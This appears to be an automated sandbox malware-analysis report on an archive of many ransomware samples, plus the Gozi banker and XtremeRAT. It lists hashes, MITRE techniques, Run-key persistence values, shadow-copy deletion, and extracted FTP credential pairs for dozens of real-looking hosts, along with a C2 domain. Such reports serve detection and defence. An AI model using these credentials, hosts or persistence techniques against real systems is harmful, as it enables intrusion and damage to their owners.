cerber | 05ff08303f072bd86cd817fd302e25c1571f145a015f1ee306b58c2048d9df27

Analysis

max time kernel
86s
max time network
316s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
19-11-2024 17:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RNSM00289.7z
Size

14.9MB
MD5

68b02160792ed3b724be029d22b53cd5
SHA1

da6bd91646185c7237dff572273b3ee1ef7f1459
SHA256

05ff08303f072bd86cd817fd302e25c1571f145a015f1ee306b58c2048d9df27
SHA512

0df3ad1723cdd640a77d800210af026f67727183342906d9026741f98622722d2c429a8c1026670cf90922701a4948b28bd731fc52aa1c6e65ba57b4ddf42d1a
SSDEEP

393216:YhSZ5IDwaY+R/wpy6kJ2C/vqx2e7E9Ir1Da:GSZ5E3i/kJ2CK7Ec1W

Score

10^/10

cerber gozi teslacrypt troldesh xtremerat banker defense_evasion discovery evasion execution impact isfb persistence privilege_escalation ransomware rat spyware trojan upx

Malware Config

Extracted

Credentials

Protocol: ftp
Host:
45.203.22.130
Port:
21
Username:
anonymous
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
216.116.26.93
Port:
21
Username:
www-data
Password:
ftp

Extracted

Credentials

Protocol: ftp
Host:
195.181.223.73
Port:
21
Username:
admin

Extracted

Credentials

Protocol: ftp
Host:
85.54.121.208
Port:
21
Username:
Admin
Password:
www-data

Extracted

Credentials

Protocol: ftp
Host:
121.160.124.55
Port:
21
Username:
anonymous
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
156.226.50.97
Port:
21
Username:
admin
Password:
www-data

Extracted

Credentials

Protocol: ftp
Host:
101.100.241.183
Port:
21
Username:
admin
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
138.91.88.14
Port:
21
Username:
ftp
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
3.110.16.253
Port:
21
Username:
admin
Password:
anonymous

Extracted

Credentials

Protocol: ftp
Host:
35.212.40.22
Port:
21
Username:
ftp
Password:
admin

Extracted

Credentials

Protocol: ftp
Host:
150.254.230.192
Port:
21
Username:
admin
Password:
admin

Extracted

Credentials

Protocol: ftp
Host:
185.56.234.65
Port:
21
Username:
ftp

Extracted

Credentials

Protocol: ftp
Host:
207.150.208.8
Port:
21
Username:
ftp
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
154.195.64.102
Port:
21
Username:
ftp
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
210.236.36.247
Port:
21
Username:
admin
Password:
www-data

Extracted

Credentials

Protocol: ftp
Host:
109.106.253.168
Port:
21
Username:
www-data
Password:
www-data

Extracted

Credentials

Protocol: ftp
Host:
38.239.157.218
Port:
21
Username:
ftp
Password:
anonymous

Extracted

Credentials

Protocol: ftp
Host:
50.115.172.243
Port:
21
Username:
Admin
Password:
www-data

Extracted

Credentials

Protocol: ftp
Host:
94.103.45.189
Port:
21
Username:
anonymous
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
74.48.105.231
Port:
21
Username:
www-data
Password:
anonymous

Extracted

Credentials

Protocol: ftp
Host:
79.96.68.226
Port:
21
Username:
ftp

Extracted

Credentials

Protocol: ftp
Host:
158.199.159.27
Port:
21
Username:
anonymous
Password:
anonymous

Extracted

Credentials

Protocol: ftp
Host:
156.241.157.57
Port:
21
Username:
anonymous
Password:
www-data

Extracted

Credentials

Protocol: ftp
Host:
38.207.18.137
Port:
21
Username:
admin
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
35.213.171.71
Port:
21
Username:
ftp
Password:
anonymous

Extracted

Credentials

Protocol: ftp
Host:
38.11.68.48
Port:
21
Username:
www-data
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
160.124.246.197
Port:
21
Username:
www-data
Password:
anonymous

Extracted

Credentials

Protocol: ftp
Host:
79.96.232.99
Port:
21
Username:
ftp

Extracted

Credentials

Protocol: ftp
Host:
138.201.82.219
Port:
21
Username:
anonymous
Password:
Admin

Extracted

Credentials

Protocol: ftp
Host:
80.74.153.15
Port:
21
Username:
anonymous
Password:
www-data

Extracted

Credentials

Protocol: ftp
Host:
182.189.54.147
Port:
21
Username:
Admin
Password:
www-data

Extracted

Credentials

Protocol: ftp
Host:
161.53.35.23
Port:
21
Username:
admin
Password:
Admin

Extracted

Family

gozi

Extracted

Family

xtremerat

flashplayerupdate.sytes.net

Signatures

Cerber
Cerber is a widely used ransomware-as-a-service (RaaS), first seen in 2017.
ransomware cerber
Cerber family
cerber
Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Gozi family
gozi

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7144	3384	mshta.exe	130
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9328	3384	mshta.exe	130

TeslaCrypt, AlphaCrypt
Ransomware based on CryptoLocker. Shut down by the developers in 2016.
ransomware teslacrypt
Teslacrypt family
teslacrypt
Troldesh family
troldesh
Troldesh, Shade, Encoder.858
Troldesh is a ransomware spread by malspam.
ransomware trojan troldesh
XtremeRAT
The XtremeRAT was developed by xtremecoder and has been available since at least 2010, and written in Delphi.
persistence spyware rat xtremerat
Xtremerat family
xtremerat
Contacts a large (18944) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
8844	bcdedit.exe
6120	bcdedit.exe
2716	bcdedit.exe
1616	bcdedit.exe
1728	bcdedit.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 39 IoCs

pid	Process
2280	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
2228	HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
856	HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2908	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
2664	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
2944	Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe
1636	Trojan-Ransom.Win32.Bitman.pgy-79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001.exe
2464	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
2272	Trojan-Ransom.Win32.Blocker.ibju-8a2a28d164a6d4011e83ae3f930de8bf1e01ba2e013bee43460f2f58bdaf4109.exe
1584	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
2408	Trojan-Ransom.Win32.FileCoder.d-edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee.exe
2456	Trojan-Ransom.Win32.Foreign.nljm-eb2c69c7562e1fe7da6aa440f134109d097fba08d2e57ab991cdba989b0571e2.exe
1620	Trojan-Ransom.Win32.Fury.mo-4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c.exe
2580	Trojan-Ransom.Win32.Locky.asa-8f3238700e5575d94227d28d1a7c23d32589ab1ffe4ab071637c49f87ce12d0e.exe
1148	Trojan-Ransom.Win32.Locky.ln-4eca4a4f186ad246fc0ba6a5075fbe27c589ee921ddc536009e50d2fe162eb94.exe
1272	Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe
2384	Trojan-Ransom.Win32.Spora.fio-8d8576432cd79c4c6a8902e9fcbdad16c871afae3731a4d9ec9cb6a0be727ffe.exe
1336	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
2364	Trojan-Ransom.Win32.Foreign.ncak-f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e.exe
1688	Trojan-Ransom.Win32.Foreign.nmgv-c9704ea156a637add087e25da2ec42bd6e4ee2238117c5f489777d8516dee059.exe
944	Trojan-Ransom.Win32.Fury.oa-1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95.exe
1596	Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
2204	Trojan-Ransom.Win32.Shade.ozd-dee1692624a25f660ace06dade67bf10f51b351fcee41b6f3e31e82323e43e4c.exe
1428	Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe
2528	Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe
1676	avjbxnidlyfd.exe
1536	BBLiveSvc.exe
2068	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
2640	ejgpwacroic.exe
2316	BBLiveAid.exe
700	BBLiveAid.exe
2904	ejgpwacroic.exe
5068	HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
6348	HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
6552	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
6968	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
7780	Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
7944	Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe

Loads dropped DLL 18 IoCs

pid	Process
2280	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
1336	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
1336	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
1536	BBLiveSvc.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2888	regsvr32.exe
2928	regsvr32.exe
1596	Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\vsluxaf = "C:\\Windows\\system32\\CMD.EXE /c start C:\\Windows\\avjbxnidlyfd.exe"	avjbxnidlyfd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\Client Server Runtime Subsystem = "\"C:\\ProgramData\\Windows\\csrss.exe\""	Trojan-Ransom.Win32.FileCoder.d-edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\00AE1C9B74EA = "\"C:\\Users\\Admin\\Desktop\\00289\\Trojan-Ransom.Win32.Fury.oa-1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95.exe\""	Trojan-Ransom.Win32.Fury.oa-1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\00AE1C9B74EA = "\"C:\\Users\\Admin\\Desktop\\00289\\Trojan-Ransom.Win32.Fury.mo-4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c.exe\""	Trojan-Ransom.Win32.Fury.mo-4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4236	powershell.exe
5124	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2850	icanhazip.com
5503	myexternalip.com

AutoIT Executable 5 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/memory/1584-126-0x0000000000DA0000-0x0000000000F29000-memory.dmp	autoit_exe
behavioral1/memory/1584-234-0x0000000000DA0000-0x0000000000F29000-memory.dmp	autoit_exe
behavioral1/memory/1584-308-0x0000000000DA0000-0x0000000000F29000-memory.dmp	autoit_exe
behavioral1/memory/1584-1360-0x0000000000DA0000-0x0000000000F29000-memory.dmp	autoit_exe
behavioral1/memory/7516-1372-0x0000000000270000-0x00000000003F9000-memory.dmp	autoit_exe

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 2908 set thread context of 1336	2908	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe	59
PID 2280 set thread context of 2068	2280	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe	64
PID 2640 set thread context of 2904	2640	ejgpwacroic.exe	79
PID 856 set thread context of 5068	856	HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe	93
PID 2228 set thread context of 6348	2228	HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe	106
PID 2464 set thread context of 6552	2464	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe	107
PID 2664 set thread context of 6968	2664	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe	108
PID 1596 set thread context of 7780	1596	Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe	109
PID 2944 set thread context of 7944	2944	Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe	110

UPX packed file 20 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0005000000019643-121.dat	upx
behavioral1/memory/1584-126-0x0000000000DA0000-0x0000000000F29000-memory.dmp	upx
behavioral1/memory/2408-232-0x0000000000400000-0x00000000005DE000-memory.dmp	upx
behavioral1/memory/1584-234-0x0000000000DA0000-0x0000000000F29000-memory.dmp	upx
behavioral1/memory/2408-261-0x0000000000400000-0x00000000005DE000-memory.dmp	upx
behavioral1/memory/2408-257-0x0000000000400000-0x00000000005DE000-memory.dmp	upx
behavioral1/memory/2408-256-0x0000000000400000-0x00000000005DE000-memory.dmp	upx
behavioral1/memory/1584-308-0x0000000000DA0000-0x0000000000F29000-memory.dmp	upx
behavioral1/memory/2204-309-0x0000000000400000-0x00000000005DE000-memory.dmp	upx
behavioral1/memory/2204-321-0x0000000000400000-0x00000000005DE000-memory.dmp	upx
behavioral1/memory/6348-358-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral1/memory/6348-465-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral1/memory/6348-479-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral1/memory/8124-518-0x0000000000400000-0x000000000043D000-memory.dmp	upx
behavioral1/memory/8124-681-0x0000000000400000-0x000000000043D000-memory.dmp	upx
behavioral1/memory/7516-1266-0x0000000000270000-0x00000000003F9000-memory.dmp	upx
behavioral1/memory/1584-1360-0x0000000000DA0000-0x0000000000F29000-memory.dmp	upx
behavioral1/memory/7516-1372-0x0000000000270000-0x00000000003F9000-memory.dmp	upx
behavioral1/memory/9044-4397-0x0000000000400000-0x00000000005D4000-memory.dmp	upx
behavioral1/memory/9044-6584-0x0000000000400000-0x00000000005D4000-memory.dmp	upx

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\BBLiveZip\BBLiveExt32.dll	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\splan.bmp	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\version.dat	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\BBLiveAid.exe	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\BBLiveZip.exe	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\uninst.exe	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\7z.dll	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\BBCoreLayer.dll	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\BBLiveSvc.exe	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\BBLiveUpdate.exe	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\BBLiveExt64.dll	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
File created	C:\Program Files (x86)\BBLiveZip\zlib.dll	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\avjbxnidlyfd.exe	Trojan-Ransom.Win32.Bitman.pgy-79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001.exe
File opened for modification	C:\Windows\avjbxnidlyfd.exe	Trojan-Ransom.Win32.Bitman.pgy-79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001.exe
File created	C:\Windows\elqyhohxgmtf.exe	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
File opened for modification	C:\Windows\elqyhohxgmtf.exe	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
File created	C:\Windows\dcdqmwbacyjf.exe	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
File opened for modification	C:\Windows\dcdqmwbacyjf.exe	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3688	sc.exe
5904	sc.exe
6016	sc.exe
5988	sc.exe
2472	sc.exe
916	sc.exe
3464	sc.exe
6024	sc.exe
6008	sc.exe
5996	sc.exe
2888	sc.exe
3860	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Foreign.nljm-eb2c69c7562e1fe7da6aa440f134109d097fba08d2e57ab991cdba989b0571e2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Fury.mo-4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avjbxnidlyfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ejgpwacroic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Shade.ozd-dee1692624a25f660ace06dade67bf10f51b351fcee41b6f3e31e82323e43e4c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Locky.ln-4eca4a4f186ad246fc0ba6a5075fbe27c589ee921ddc536009e50d2fe162eb94.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BBLiveAid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ejgpwacroic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Bitman.pgy-79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.FileCoder.d-edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Blocker.ibju-8a2a28d164a6d4011e83ae3f930de8bf1e01ba2e013bee43460f2f58bdaf4109.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BBLiveAid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Foreign.ncak-f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
